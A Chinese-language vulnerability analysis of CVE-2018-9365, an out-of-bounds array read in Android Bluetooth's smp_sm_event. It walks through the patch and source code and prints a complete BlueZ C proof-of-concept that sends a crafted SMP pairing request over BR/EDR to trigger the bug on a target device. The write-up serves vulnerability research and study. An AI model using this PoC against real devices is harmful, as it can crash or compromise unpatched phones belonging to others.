# 【蓝牙】CVE-2018-9365 smp\_sm\_event数组越界访问导致RCE

补丁

* https://android.googlesource.com/platform/system/bt/+/ae94a4c333417a1829030c4d87a58ab7f1401308

补丁描述修复了在`smp_sm_event()`里的非预期，判断了`p_cb->role`大于等于2则报错返回，我们猜测这里可能是字段`p_cb->role`可以由连接者控制

```c++
DO NOT MERGE Fix unexpected behavior in smp_sm_event

Bug: 74121126
Test: manual
Change-Id: Ie5dd841d6461ad057c4ab572007f38c5446aba53
(cherry picked from commit 652798b2f2d6c90e0fc95c00ccfb91e2870b03d4)
diff --git a/stack/smp/smp_main.cc b/stack/smp/smp_main.cc
index 829a5d4..49e2ece 100644
--- a/stack/smp/smp_main.cc
+++ b/stack/smp/smp_main.cc
@@ -18,6 +18,7 @@
 
 #include "bt_target.h"
 
+#include <cutils/log.h>
 #include <string.h>
 #include "smp_int.h"
 
@@ -954,6 +955,13 @@
   uint8_t curr_state = p_cb->state;
   tSMP_SM_TBL state_table;
   uint8_t action, entry, i;
+
+  if (p_cb->role >= 2) {
+    SMP_TRACE_DEBUG("Invalid role: %d", 1. );
+    android_errorWriteLog(0x534e4554, "74121126");
+    return;
+  }
+
   tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
 
   SMP_TRACE_EVENT("main smp_sm_event");
```

我们从头开始分析，当SMP Channel有来自L2CAP的数据时，会调用`smp_data_received()`进行数据的处理，这里我们的关注点在于`cmd`为`SMP_OPCODE_PAIRING_REQ 0x01`时的情况，当传入的是`SMP_OPCODE_PAIRING_REQ`，会调用`L2CA_GetBleConnRole()`

```c++
/*******************************************************************************
 *
 * Function         smp_data_received
 *
 * Description      This function is called when data is received from L2CAP on
 *                  SMP channel.
 *
 *
 * Returns          void
 *
 ******************************************************************************/
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  tSMP_CB* p_cb = &smp_cb;
  uint8_t* p = (uint8_t*)(p_buf + 1) + p_buf->offset;
  uint8_t cmd;
  SMP_TRACE_EVENT("SMDBG l2c %s", __func__);

  STREAM_TO_UINT8(cmd, p); // 取第一字节

  /* sanity check */
  if ((SMP_OPCODE_MAX < cmd) || (SMP_OPCODE_MIN > cmd)) {
    SMP_TRACE_WARNING("Ignore received command with RESERVED code 0x%02x", cmd);
    osi_free(p_buf);
    return;
  }
  
  // #define SMP_OPCODE_PAIRING_REQ 0x01
  // 当第一字节是0x01时，会进入第一个if分支
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr); //这里进行p_cb->role的赋值
      p_cb->pairing_bda = bd_addr;
    } else if (bd_addr != p_cb->pairing_bda) {
      osi_free(p_buf);
      smp_reject_unexpected_pairing_command(bd_addr);
      return;
    }
    ...
}
```

其中第二个参数类型`RawAddress`的部分实现如下，可以看到其数据以及转换的方式

```c++
static_assert(sizeof(RawAddress) == 6, "RawAddress must be 6 bytes long!");

const RawAddress RawAddress::kAny{{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}};
const RawAddress RawAddress::kEmpty{{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}};

RawAddress::RawAddress(const uint8_t (&addr)[6]) {
  std::copy(addr, addr + kLength, address);
};

std::string RawAddress::ToString() const {
  return base::StringPrintf("%02x:%02x:%02x:%02x:%02x:%02x", address[0],
                            address[1], address[2], address[3], address[4],
                            address[5]);
}
```

`L2CA_GetBleConnRole()`会先给`role`赋值为`HCI_ROLE_UNKNOWN`，这个值是`0xff`，之后进行遍历搜索，如果搜到了就将`role`赋值为`p_lcp->link_role`，如果没搜到就是初始化的值`0xff`

```c++
/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff

/*******************************************************************************
 *
 * Function         L2CA_GetBleConnRole
 *
 * Description      This function returns the connection role.
 *
 * Returns          link role.
 *
 ******************************************************************************/
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;

  tL2C_LCB* p_lcb;

  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;

  return role;
}
```

回到`smp_data_received()`，会调用到`smp_sm_event()`

```c++
/*******************************************************************************
 *
 * Function         smp_data_received
 *
 * Description      This function is called when data is received from L2CAP on
 *                  SMP channel.
 *
 *
 * Returns          void
 *
 ******************************************************************************/
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  ...
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr); // <-- 1
      p_cb->pairing_bda = bd_addr;
    } 
  ...

  if (bd_addr == p_cb->pairing_bda) {
    ...
    p_cb->rcvd_cmd_code = cmd;
    p_cb->rcvd_cmd_len = (uint8_t)p_buf->len;
    smp_sm_event(p_cb, cmd, p); // <-- 2
  }

  osi_free(p_buf);
}
```

通过查看该函数，我们可以注意到，后续会直接使用该字段作为下标对数组进行取值操作

```c++
/*******************************************************************************
 *
 * Function     smp_sm_event
 *
 * Description  Handle events to the state machine. It looks up the entry
 *              in the smp_entry_table array.
 *              If it is a valid entry, it gets the state table. Set the next
 *              state, if not NULL state. Execute the action function according
 *              to the state table. If the state returned by action function is
 *              not NULL state, adjust the new state to the returned state. If
 *              (api_evt != MAX), call callback function.
 *
 * Returns      void.
 *
 ******************************************************************************/
void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, void* p_data) {
  uint8_t curr_state = p_cb->state;
  tSMP_SM_TBL state_table;
  uint8_t action, entry, i;
  tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
  ...
```

我们通过源码找到`smp_entry_table`的定义，这个数组的长度只有2，结合前面的分析，`smp_entry_table[p_cb->role]`的取值可能是`smp_entry_table[0x00]`，`smp_entry_table[0x01]`和`smp_entry_table[0xff]`，所以这里就出现了一个越界访问的漏洞

```c++
static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map, smp_slave_entry_map};
```

谷歌给这个漏洞的评级是Critical RCE，所以它是可以进行利用的

| CVE           | 参考编号       | 类型  | 严重程度     | 已更新的 AOSP 版本                      |
| ------------- | ---------- | --- | -------- | --------------------------------- |
| CVE-2018-9365 | A-74121126 | RCE | Critical | 6.0、6.0.1、7.0、7.1.1、7.1.2、8.0、8.1 |

那我们如何让`L2CA_GetBleConnRole()`返回`0xff`呢？

继续分析`L2CA_GetBleConnRole()`，关键调用`l2cu_find_lcb_by_bd_addr()`

```c++
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;

  tL2C_LCB* p_lcb;

  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;

  return role;
}
```

遍历`l2cb.lcb_pool`来搜索是否有匹配的地址，匹配有两个条件，一个是TRANSPORT匹配，另一个是地址匹配，如果TRANSPORT不匹配，就有可能出现找不到然后返回`NULL`的情况

```c++
/*******************************************************************************
 *
 * Function         l2cu_find_lcb_by_bd_addr
 *
 * Description      Look through all active LCBs for a match based on the
 *                  remote BD address.
 *
 * Returns          pointer to matched LCB, or NULL if no match
 *
 ******************************************************************************/
tL2C_LCB* l2cu_find_lcb_by_bd_addr(const RawAddress& p_bd_addr,
                                   tBT_TRANSPORT transport) {
  int xx;
  tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

  for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) {
    if ((p_lcb->in_use) && p_lcb->transport == transport &&
        (p_lcb->remote_bd_addr == p_bd_addr)) {
      return (p_lcb);
    }
  }

  /* If here, no match found */
  return (NULL);
}
```

传进来的是`BT_TRANSPORT_LE`，源码如下，所以我们可以使用`BT_TRANSPORT_BR_EDR`模式来使`l2cu_find_lcb_by_bd_addr()`返回`NULL`，从而`L2CA_GetBleConnRole()`就能返回`0xff`

```c++
#define BT_TRANSPORT_UNKNOWN		0x00
#define BT_TRANSPORT_BR_EDR		0x01
#define BT_TRANSPORT_LE			0x02
```

PoC

```c++
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"

#define BT_CID_SMP 0x0006

/* SMP command code */
#define SMP_OPCODE_PAIRING_REQ 0x01

// 按字节读取缓冲区
#define UINT32_TO_STREAM(p, u32)     \
  {                                  \
    *(p)++ = (uint8_t)(u32);         \
    *(p)++ = (uint8_t)((u32) >> 8);  \
    *(p)++ = (uint8_t)((u32) >> 16); \
    *(p)++ = (uint8_t)((u32) >> 24); \
  }
#define UINT24_TO_STREAM(p, u24)     \
  {                                  \
    *(p)++ = (uint8_t)(u24);         \
    *(p)++ = (uint8_t)((u24) >> 8);  \
    *(p)++ = (uint8_t)((u24) >> 16); \
  }
#define UINT16_TO_STREAM(p, u16)    \
  {                                 \
    *(p)++ = (uint8_t)(u16);        \
    *(p)++ = (uint8_t)((u16) >> 8); \
  }
#define UINT8_TO_STREAM(p, u8) \
  { *(p)++ = (uint8_t)(u8); }

// 发送数据
void send_trigger_req(int sock_fd)
{
    uint8_t buffer[100];
    memset(buffer, 0, 100);
    uint8_t *p = buffer;
    uint8_t cmd = SMP_OPCODE_PAIRING_REQ;
    *p++ = cmd;
    memcpy(p, "\xff\xff\xff\xff\xff\xff", 6);
    p += 6;
    send(sock_fd, buffer, p - buffer, 0);
}

int main(int argc ,char* argv[])
{
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;
    struct bt_security btsec;

    if(argc < 2)
    {
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        // 创建socket句柄
        sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if(sock_fd == -1)
        {
            perror("[*] socket create failed : ");
            return -1;
        }
        
        // 初始化本地地址
        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = AF_BLUETOOTH;
        local_l2_addr.l2_cid = htobs(BT_CID_SMP); // 0x0006 Security Manager Protocol
        local_l2_addr.l2_bdaddr_type = 0;
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));

        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1)
        {
            perror("[*] bind()");
            goto out;
        }
	
        memset(&btsec, 0, sizeof(btsec));
        btsec.level = BT_SECURITY_LOW;
        
        if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0)
        {
          perror("[*] setsockopt error");
          goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = AF_BLUETOOTH;
        remote_l2_addr.l2_bdaddr_type = 0;
        remote_l2_addr.l2_cid = htobs(BT_CID_SMP); // 0x0006 Security Manager Protocol
        //remote_l2_addr.l2_psm = htobs(6);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        printf("connect %s\n", dest);
        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) 
        {  
            perror("[*] can't connect");
            goto out;
        } 

        send_trigger_req(sock_fd);
        //sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}
```

其中`BT_CID_SMP`为`0x0006`是用于指定Channel，之所以为`0x0006`我是通过找核心找到的，大佬果然诚不我欺

![](https://2646860265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJh2iv6UDGq4O16NDjFK8%2Fuploads%2Fgit-blob-4042c732a12216a9226c7bd51ab04cb517c97705%2FC2272AF7252BC7218461484DE19E84BE.jpg?alt=media)

给buffer加上`"\xff\xff\xff\xff\xff\xff"`这一步，还是通过查找核心里面的配对请求包格式，发现整个包是七个字节，所以这里猜测是为了补全剩余字节

![](https://2646860265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJh2iv6UDGq4O16NDjFK8%2Fuploads%2Fgit-blob-34f3456e1d6c04b73eaed0a71dd0d2e788f03fc9%2F5CD5A9A55DE5DC81C7024EAFC24644A7.jpg?alt=media)

那么就剩最后一个问题：如何使用`BT_TRANSPORT_BR_EDR`模式呢？

关于如何使用`BR/EDR`，我查阅了一些资料

![](https://2646860265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJh2iv6UDGq4O16NDjFK8%2Fuploads%2Fgit-blob-154e9aa1ce826375ca22c4baec922f917c7f6849%2FB1BBFB32FCCA22DBF6470DCA2DD59265.jpg?alt=media)

就在各种查阅资料的时候，我突然有了灵感，我现在不知道POC里哪里对应着`BR/EDR`模式，但是目前最有可能的就是`local_l2_addr.l2_bdaddr_type = 0;`，底层解析的时候，一定是`.l2_bdaddr_type`的形式进行取值，搜索一下BlueZ的源码

![](https://2646860265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJh2iv6UDGq4O16NDjFK8%2Fuploads%2Fgit-blob-a771a626a8e3456be4963cb3e003fc4855d4bc1e%2FC4CC3B36A81E3195F040B283D1CED95E.jpg?alt=media)

搜索`BDADDR_BREDR`，发现如下代码，所以，就是这个字段来控制`BR/EDR`，POC里设置`local_l2_addr.l2_bdaddr_type = 0;`，也就是`BDADDR_BREDR`，到此就已经可以完全理解PoC了

```c++
/* BD Address type */
#define BDADDR_BREDR           0x00
#define BDADDR_LE_PUBLIC       0x01
#define BDADDR_LE_RANDOM       0x02
```

## Reference

* https://blog.quarkslab.com/a-story-about-three-bluetooth-vulnerabilities-in-android.html
* https://paper.seebug.org/666/
